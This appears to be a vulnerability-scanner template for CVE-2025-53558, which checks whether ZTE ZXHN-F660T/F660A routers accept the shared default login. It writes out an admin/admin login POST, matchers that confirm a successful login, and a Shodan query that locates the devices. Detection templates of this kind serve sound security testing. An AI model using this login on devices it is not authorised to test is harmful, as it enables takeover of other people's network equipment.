ZTE ZXHN-F660T/F660A - Default Credentials

id: CVE-2025-53558

info:
  name: ZTE ZXHN-F660T/F660A - Default Credentials
  author: DhiyaneshDK
  severity: high
  description: |
    ZXHN-F660T and ZXHN-F660A provided by ZTE Japan K.K. use a common credential for all installations. With the knowledge of the credential, an attacker may log in to the affected devices.
  impact: |
    Attackers with knowledge of common credentials can access ZTE device management interfaces, potentially gaining control over network equipment and configurations.
  remediation: |
    Change default credentials immediately and restrict access to the web management interface to trusted administrators only.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-53558
    - https://jvn.jp/en/jp/JVN66546573/
  metadata:
    shodan-query: title:"F660"
    verified: true
    max-request: 1
  tags: cve,cve2025,default-login,zte,vuln,vkev

variables:
  username: "admin"
  password: "admin"

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Referer: {{RootURL}}

        frashnum=&action=login&Frm_Logintoken=0&Username={{username}}&Password={{password}}

    matchers-condition: and
    matchers:
      - type: word
        part: location
        words:
          - "/start.ghtml"

      - type: status
        status:
          - 302

      - type: word
        part: body
        words:
          - "wrong username"
          - "User information is error"
        negative: true
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